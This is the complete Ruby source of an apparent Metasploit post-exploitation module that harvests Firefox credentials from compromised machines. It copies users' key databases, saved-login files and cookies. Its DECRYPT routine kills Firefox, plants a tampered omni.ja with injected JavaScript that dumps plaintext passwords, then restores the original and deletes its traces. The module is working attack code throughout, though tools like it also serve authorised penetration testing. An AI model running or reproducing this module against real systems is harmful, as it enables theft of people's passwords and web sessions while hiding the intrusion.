##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#
# Standard Library
#
require 'tmpdir'

#
# Gems
#
require 'zip'

#
# Project
#
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'


class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::UserProfiles

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Multi Gather Firefox Signon Credential Collection',
      'Description'    => %q{
          This module will collect credentials from the Firefox web browser if it is
        installed on the targeted machine. Additionally, cookies are downloaded. Which
        could potentially yield valid web sessions.

        Firefox stores passwords within the signons.sqlite database file. There is also a
        keys3.db file which contains the key for decrypting these passwords. In cases where
        a Master Password has not been set, the passwords can easily be decrypted using
        3rd party tools or by setting the DECRYPT option to true. Using the latter often
        needs root privileges. Also be warned that if your session dies in the middle of the
        file renaming process, this could leave Firefox in a non working state. If a
        Master Password was used the only option would be to bruteforce.

        Useful 3rd party tools:
        + firefox_decrypt (https://github.com/Unode/firefox_decrypt)
        + pswRecovery4Moz (https://github.com/philsmd/pswRecovery4Moz)
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'bannedit',
          'xard4s', # added decryption support
          'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
        ],
      'Platform'       => %w{ bsd linux osx unix win },
      'SessionTypes'   => ['meterpreter', 'shell' ]
    ))

    register_options([
      OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
    ], self.class)

    register_advanced_options([
      OptInt.new('DOWNLOAD_TIMEOUT', [true, 'Timeout to wait when downloading files through shell sessions', 20]),
      OptBool.new('DISCLAIMER', [false, 'Acknowledge the DECRYPT warning', false]),
      OptBool.new('RECOVER',  [false, 'Attempt to recover from bad DECRYPT when possible', false])
    ], self.class)
  end


  def run
    # Certain shells for certain platform
    vprint_status("Determining session platform and type")
    case session.platform
    when 'unix', 'linux', 'bsd'
      @platform = :unix
    when 'osx'
      @platform = :osx
    when 'windows'
      if session.type != "meterpreter"
        print_error "Only meterpreter sessions are supported on Windows hosts"
        return
      end
      @platform = :windows
    else
      print_error("Unsupported platform: #{session.platform}")
      return
    end

    if datastore['DECRYPT']
      do_decrypt
    else  # Non DECRYPT
      paths = []
      paths = enum_users

      if paths.nil? or paths.empty?
        print_error("No users found with a Firefox directory")
        return
      end

      download_loot(paths.flatten)
    end
  end

  def do_decrypt
    unless datastore['DISCLAIMER']
      decrypt_disclaimer
      return
    end

    omnija = nil             # non meterpreter download
    org_file = 'omni.ja'     # key file
    new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
    temp_file = "orgomni.ja" # backup of key file

    # Sets @paths
    return unless decrypt_get_env

    # Check target for the necessary files
    if session.type == "meterpreter"
      if session.fs.file.exist?(@paths['ff'] + temp_file) && !session.fs.file.exist?(@paths['ff'] + org_file)
        print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.")
        return
      elsif session.fs.file.exist?(@paths['ff'] + temp_file)
        decrypt_file_stats(temp_file, org_file, @paths['ff'])
        if datastore['RECOVER']
          return unless decrypt_recover_omni(temp_file, org_file)
        else
          print_warning("If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.")
          return
        end
      elsif !session.fs.file.exist?(@paths['ff'] + org_file)
        print_error("Could not download #{org_file}. File does not exist.")
        return
      end
    end # session.type == "meterpreter"

    session.type == "meterpreter" ? (size = "(%s MB)" % "%0.2f" % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = "")
    tmp = Dir::tmpdir + "/" + new_file          # Cross platform local tempdir, "/" should work on Windows too
    print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size)

    if session.type == "meterpreter"            # If meterpreter is an option, lets use it!
      session.fs.file.download_file(tmp, @paths['ff'] + org_file)
    else                                        # Fall back shells
      omnija = read_file(@paths['ff'] + org_file)
      if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
        print_error("Could not download: #{@paths['ff'] + org_file}")
        print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter"
        return
      end

      print_status("Saving #{org_file} to: #{tmp}")
      file_local_write(tmp, omnija)
    end

    res = nil
    print_status("Injecting into: #{tmp}")
    begin
      # Automatically commits the changes made to the zip archive when the block terminates
      Zip::File.open(tmp) do |zip_file|
        res = decrypt_modify_omnija(zip_file)
      end
    rescue Zip::Error => e
      print_error("Error modifying: #{tmp}")
      return
    end

    if res
      vprint_good("Successfully modified: #{tmp}")
    else
      print_error("Failed to inject")
      return
    end

    print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}")
    print_warning("This may take some time...") if [:unix, :osx].include?(@platform)

    if session.type == "meterpreter"
      session.fs.file.upload_file(@paths['ff'] + new_file, tmp)
    else
      unless upload_file(@paths['ff'] + new_file, tmp)
        print_error("Could not upload: #{tmp}")
        return
      end
    end

    return unless decrypt_trigger_decrypt(org_file, new_file, temp_file)

    decrypt_download_creds
  end

  def decrypt_disclaimer
    print_line
    print_warning("Decrypting the keys causes the remote Firefox process to be killed.")
    print_warning("If the user is paying attention, this could make them suspicious.")
    print_warning("In order to proceed, set the advanced option, DISCLAIMER, to TRUE.")
    print_line
  end


  def decrypt_file_stats(temp_file, org_file, path)
    print_line
    print_error("Detected #{temp_file} already on the target. This could possible a possible backup of the original #{org_file} from a bad DECRYPT attack.")
    print_status("Size: #{session.fs.file.stat(@paths['ff'] + org_file).size}B (#{org_file})")
    print_status("Size: #{session.fs.file.stat(@paths['ff'] + temp_file).size}B (#{temp_file})")
    print_status("#{org_file}   : Created- #{session.fs.file.stat(@paths['ff'] + org_file).ctime}  Modified- #{session.fs.file.stat(@paths['ff'] + org_file).mtime}  Accessed- #{session.fs.file.stat(@paths['ff'] + org_file).mtime}")
    print_status("#{temp_file}: Created- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime}  Modified- #{session.fs.file.stat(@paths['ff'] + temp_file).mtime}  Accessed- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime}")
    print_line
  end


  def decrypt_recover_omni(temp_file, org_file)
    print_status("Restoring: #{@paths['ff'] + temp_file} (Possible backup)")
    file_rm(@paths['ff'] + org_file)
    rename_file(@paths['ff'] + temp_file, @paths['ff'] + org_file)

    if session.type == "meterpreter"
      print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exist?(@paths['ff'] + temp_file)

      unless session.fs.file.exist?(@paths['ff'] + org_file)
        print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}")
        return false
      end
    end # session.type == "meterpreter"

    true
  end


  def enum_users
    paths = []
    id = whoami

    if id.nil? or id.empty?
      print_error("Session #{datastore['SESSION']} is not responding")
      return
    end

    if @platform == :windows
      vprint_status("Searching every possible account on the target system")
      grab_user_profiles().each do |user|
        next if user['AppData'].nil?
        dir = check_firefox_win(user['AppData'])
        paths << dir if dir
      end
    else   # unix, bsd, linux, osx
      @platform == :osx ? (home = "/Users/") : (home = "/home/")

      if got_root
        vprint_status("Detected ROOT privileges. Searching every account on the target system.")
        userdirs = cmd_exec("find #{home} -maxdepth 1 -mindepth 1 2>/dev/null").gsub(/\s/, "\n")
        userdirs << "/root\n"
      else
        vprint_status("Checking #{id}'s Firefox account")
        userdirs = "#{home + id}\n"
      end

      userdirs.each_line do |dir|
        dir.chomp!
        next if dir == "." or dir == ".." or dir =~ /No such file/i

        @platform == :osx ? (basepath = "#{dir}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{dir}/.mozilla/firefox/")

        print_status("Checking for Firefox profile in: #{basepath}")
        checkpath = cmd_exec("ls #{basepath}").gsub(/\s/, "\n")

        checkpath.each_line do |ffpath|
          ffpath.chomp!
          if ffpath =~ /\.default/
            vprint_good("Found profile: #{basepath + ffpath}")
            paths << "#{basepath + ffpath}"
          end
        end
      end
    end
    return paths
  end

  def check_firefox_win(path)
    paths  = []
    ffpath = []
    path   = path + "\\Mozilla\\"
    print_status("Checking for Firefox profile in: #{path}")

    stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil
    if !stat
      print_error("Firefox was not found (Missing profiles.ini)")
      return
    end

    session.fs.dir.foreach(path) do |fdir|
      #print_status("Found a Firefox directory: #{path + fdir}")
      ffpath << path + fdir
      break
    end

    if ffpath.empty?
      print_error("Firefox was not found")
      return
    end

    #print_status("Locating Firefox profiles")
    path << "Firefox\\Profiles\\"

    # We should only have profiles in the Profiles directory store them all
    begin
      session.fs.dir.foreach(path) do |pdirs|
        next if pdirs == "." or pdirs == ".."
        vprint_good("Found profile: #{path + pdirs}")
        paths << path + pdirs
      end
    rescue
      print_error("Profiles directory is missing")
      return
    end

    paths.empty? ? (nil) : (paths)
  end


  def download_loot(paths)
    loot = ""
    print_line

    paths.each do |path|
      print_status("Profile: #{path}")

      #   win: C:\Users\administrator\AppData\Roaming\Mozilla\Firefox\Profiles\tsnwjx4g.default
      # linux: /root/.mozilla/firefox/tsnwjx4g.default         (iceweasel)
      #   osx: /Users/mbp/Library/Application Support/Firefox/Profiles/tsnwjx4g.default
      profile = path.scan(/Profiles[\\|\/](.+)\.(.+)$/).flatten[0].to_s
      profile = path.scan(/firefox[\\|\/](.+)\.(.+)$/).flatten[0].to_s if profile.empty?

      session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("ls #{path} 2>/dev/null").split())

      files.each do |file|
        file.chomp!
        if file =~ /^key\d\.db$/ or file =~ /^cert\d\.db$/ or file =~ /^signons.sqlite$/i or file =~ /^cookies\.sqlite$/ or file =~ /^logins\.json$/
          ext = file.split('.')[2]
          ext == "txt" ? (mime = "plain") : (mime = "binary")
          vprint_status("Downloading: #{file}")
          if @platform == :windows
            p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, "firefox_#{file}")
            session.fs.file.download_file(p, path + "\\" + file)
            print_good("Downloaded #{file}: #{p.to_s}")
          else   # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
            loot = cmd_exec("cat #{path}//#{file}", nil, datastore['DOWNLOAD_TIMEOUT'])
            if loot.nil? || loot.empty?
              print_error("Failed to download #{file}, if the file is very long, try increasing DOWNLOAD_TIMEOUT")
            else
              p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
              print_good("Downloaded #{file}: #{p.to_s}")
            end
          end
        end
      end
      print_line
    end
  end


  # Checks for needed privileges and if Firefox is installed
  def decrypt_get_env
    @paths = {}
    check_paths = []
    loot_file = Rex::Text::rand_text_alpha(6) + ".txt"

    case @platform
    when :windows
      unless got_root || session.sys.config.sysinfo['OS'] =~ /xp/i
        print_warning("You may need SYSTEM privileges on this platform for the DECRYPT option to work")
      end

      env_vars = session.sys.config.getenvs('TEMP', 'SystemDrive')
      tmpdir = env_vars['TEMP'] + "\\"
      drive = env_vars['SystemDrive']

      # This way allows for more independent use of meterpreter payload (32 and 64 bit) and cleaner code
      check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
      check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
    when :unix
      unless got_root
        print_error("You need ROOT privileges on this platform for DECRYPT option")
        return false
      end
      # Unix matches linux|unix|bsd but BSD is not supported
      if session.platform =~ /bsd/
        print_error("Sorry, BSD is not supported by the DECRYPT option")
        return false
      end

      tmpdir = '/tmp/'

      check_paths << '/usr/lib/firefox/'
      check_paths << '/usr/lib64/firefox/'
      check_paths << '/usr/lib/iceweasel/'
      check_paths << '/usr/lib64/iceweasel/'
    when :osx
      tmpdir = '/tmp/'
      check_paths << '/applications/firefox.app/contents/macos/'
    end

    @paths['ff'] = check_paths.find do |p|
      check = p.sub(/(\\|\/)(mozilla\s)?firefox.*/i, '')
      vprint_status("Checking for Firefox directory in: #{check}")
      if directory?(p.sub(/(\\|\/)$/, ''))
        print_good("Found Firefox directory: #{check}")
        true
      else
        false
      end
    end

    if @paths['ff'].nil?
      print_error("No Firefox directory found")
      return false
    end

    @paths['loot'] = tmpdir + loot_file

    true
  end


  def decrypt_modify_omnija(zip)
    # Which files to extract from ja/zip
    files = [
      'components/storage-mozStorage.js',                        # stor_js
      'chrome/toolkit/content/passwordmgr/passwordManager.xul',  # pwd_xul
      'chrome/toolkit/content/global/commonDialog.xul',          # dlog_xul
      'jsloader/resource/gre/components/storage-mozStorage.js'   # res_js (not 100% sure why this is used)
    ]

    # Extract files from zip
    arya = files.map do |omnija_file|
      fdata = {}
      begin
        fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/
        fdata['outs'] = zip.get_output_stream(omnija_file)
      rescue
        print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")
        print_error("This could be due to a corrupt download or a unsupported Firefox/Iceweasel version")
        return false
      end
      fdata
    end

    # Read contents of array (arya)
    stor_js, pwd_xul, dlog_xul, res_js = arya
    stor_js['outs_res'] = res_js['outs']

    # Insert payload (close after starting up - allowing evil js to run and nothing else)
    wnd_close = "window.close();"
    onload = "Startup(); SignonsStartup(); #{wnd_close}"

    # Patch commonDialog.xul - Get rid of (possible) master password prompt
    dlog_xul['content'].sub!(/commonDialogOnLoad\(\);/, wnd_close)
    dlog_xul['outs'].write(dlog_xul['content'])
    dlog_xul['outs'].close
    vprint_good("[1/2] XUL injected - commonDialog.xul")

    # Patch passwordManager.xul - Close password manager immediately
    pwd_xul['content'].sub!(/Startup\(\); SignonsStartup\(\);/, onload)
    pwd_xul['outs'].write(pwd_xul['content'])
    pwd_xul['outs'].close
    vprint_good("[2/2] XUL injected - passwordManager.xul")

    # Patch ./components/storage-mozStorage.js - returns true or false
    return decrypt_patch_method(stor_js)
  end


  # Patches getAllLogins() methods in ./components/storage-mozStorage.js
  def decrypt_patch_method(stor_js)
    data = ""
    # Imports needed for IO
    imports = %Q|Components.utils.import("resource://gre/modules/NetUtil.jsm");
Components.utils.import("resource://gre/modules/FileUtils.jsm");
Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
|

    # Javascript code to intercept the logins array and write the credentials to a file
    method_epilog = %Q|
        var data = "";
        var path = "#{@paths['loot'].inspect.gsub(/"/, '')}";
        var file = new FileUtils.File(path);

        var outstream = FileUtils.openSafeFileOutputStream(file);
        var converter = Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
          createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
        converter.charset = "UTF-8";

        if (logins.length != 0) {
          for (var i = 0; i < logins.length; i++) {
            data += logins[i].hostname + " :: " + logins[i].username + " :: " + logins[i].password + " ^";
          }
        } else {
          data = "no creds";
        }

        var istream = converter.convertToInputStream(data);
        NetUtil.asyncCopy(istream, outstream);

        return logins;
|

    regex = [
      nil, # dirty hack alert
      [/return\slogins;/, method_epilog],
      [/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports]
    ]

    # Match the last two regular expressions
    i = 2 # ...this is todo with the nil in the above regex array & regex command below
    x = i
    stor_js['content'].each_line do |line|
      # There is no real substitution if the matching regex has no corresponding patch code
      if i != 0 && line.sub!(regex[i][0]) do |match|
        if regex[i][1]
          vprint_good("[#{x-i+1}/#{x}] Javascript injected - ./components/storage-mozStorage.js")
          regex[i][1]
        end
      end # do |match|
      i -= 1
      end # if i != 0
      data << line
    end

    # Write the same data to both output streams
    stor_js['outs'].write(data)
    stor_js['outs_res'].write(data)
    stor_js['outs'].close
    stor_js['outs_res'].close

    i == 0 ? (true) : (false)
  end


  # Starts a new Firefox process and triggers decryption
  def decrypt_trigger_decrypt(org_file, new_file, temp_file)
    [org_file, new_file, temp_file].each do |f|
      f.insert(0, @paths['ff'])
    end

    # Firefox command line arguments
    args = '-purgecaches -chrome chrome://passwordmgr/content/passwordManager.xul'

    # In case of unix-like platform Firefox needs to start under user context
    case @platform
    when :unix
      # Assuming userdir /home/(x) = user
      print_status("Enumerating users")
      users = cmd_exec("ls /home 2>/dev/null")
      if users.nil? or users.empty?
        print_error("No normal user found")
        return false
      end
      user = users.split[0]
      # Since we can't access the display environment variable we have to assume the default value
      args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
      args << "\""
      cmd = "su #{user} -c"
    when :windows, :osx
      cmd = @paths['ff'] + "firefox"
      # On OSX, run in background
      args << "& sleep 5 && killall firefox" if @platform == :osx
    end

    # Check if Firefox is running and kill it
    if session.type == "meterpreter"
      session.sys.process.each_process do |p|
        if p['name'] =~ /firefox\.exe/
          print_status("Found running Firefox process, attempting to kill.")
          unless session.sys.process.kill(p['pid'])
            print_error("Could not kill Firefox process")
            return false
          end
        end
      end
    else   # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
      p = cmd_exec("ps", "cax | grep firefox")
      if p =~ /firefox/
        print_status("Found running Firefox process, attempting to kill.")
        term = cmd_exec("killall", "firefox && echo true")
        if term !~ /true/
          print_error("Could not kill Firefox process")
          return false
        end
      end
    end
    sleep(1)

    #
    # Rename-fu:
    #   omni.ja (original) -> orgomni.ja (original_backup)
    #   *random*.ja (evil) -> omni.ja (original)
    #   ...start & close Firefox...
    #   omni.ja (evil)               -> *random*.ja (pointless temp file)
    #   orgomni.ja (original_backup) -> omni.ja (original)
    #
    vprint_status("Renaming .JA files")
    rename_file(org_file, temp_file)
    rename_file(new_file, org_file)

    # Automatic termination (window.close() - injected XUL or firefox cmd arguments)
    print_status("Starting Firefox process to get #{whoami}'s credentials")
    cmd_exec(cmd, args)
    sleep(1)

    # Lets just check theres something before going forward
    if session.type == "meterpreter"
      i=20
      vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") unless session.fs.file.exist?(@paths['loot'])
      while (!session.fs.file.exist?(@paths['loot']))
        sleep 1
        i -= 1
        break if i == 0
      end
      print_error("Missing loot file. Something went wrong.") unless session.fs.file.exist?(@paths['loot'])
    end # session.type == "meterpreter"

    print_status("Restoring original .JA: #{temp_file}")
    rename_file(org_file, new_file)
    rename_file(temp_file, org_file)

    # Clean up
    vprint_status("Cleaning up: #{new_file}")
    file_rm(new_file)
    if session.type == "meterpreter"
      if session.fs.file.exist?(temp_file)
        print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")
      end
      unless session.fs.file.exist?(org_file)
        print_error("Unable to find #{org_file} on target. Something went wrong.")
      end
    end # session.type == "meterpreter"

    # At this time, there should have a loot file
    if session.type == "meterpreter"
      unless session.fs.file.exist?(@paths['loot'])
        print_error("DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.")
        # Another issue is encoding. The files may be seen as 'data' rather than 'ascii'
        print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)") if session.type != "meterpreter"
        return false
      end
    end

    true
  end


  def decrypt_download_creds
    print_good("Downloading loot: #{@paths['loot']}")
    loot = read_file(@paths['loot'])

    if loot =~ /no creds/
      print_status("No Firefox credentials where found")
      return
    end

    # Better delete the remote creds file
    vprint_status("Cleaning up: #{@paths['loot']}")
    file_rm(@paths['loot'])

    # Create table to store
    cred_table = Rex::Text::Table.new(
      'Header' => 'Firefox Credentials',
      'Indent' => 1,
      'Columns'=>
        [
          'Hostname',
          'User',
          'Password'
        ]
    )

    creds = loot.split("^")
    creds.each do |cred|
      hostname, user, pass = cred.rstrip.split(" :: ")
      cred_table << [hostname, user, pass]

      # Creds API
      service_data = {
        workspace_id: myworkspace_id
      }

      credential_data = {
        origin_type: :session,
        session_id: session_db_id,
        post_reference_name: self.refname,
        smodule_fullname: self.fullname,
        username: user,
        private_data: pass,
        private_type: :password
      }.merge(service_data)

      create_credential(credential_data)
    end

    # Create local loot csv file
    path = store_loot(
      "firefox.creds",
      "text/plain",
      session,
      cred_table.to_csv,
      "firefox_credentials.txt",
      "Firefox Credentials")
    vprint_good("Saved loot: #{path.to_s}")

    # Display out
    vprint_line("\n" + cred_table.to_s)
  end


  def got_root
    case @platform
    when :windows
      session.sys.config.getuid =~ /SYSTEM/ ? true : false
    else   # unix, bsd, linux, osx
      id_output = cmd_exec("id").chomp
      id_output.include?("uid=0(") ? true : false
    end
  end


  def whoami
    if @platform == :windows
      id = session.sys.config.getenv('USERNAME')
    else
      id = cmd_exec("id -un")
    end

    id
  end
end
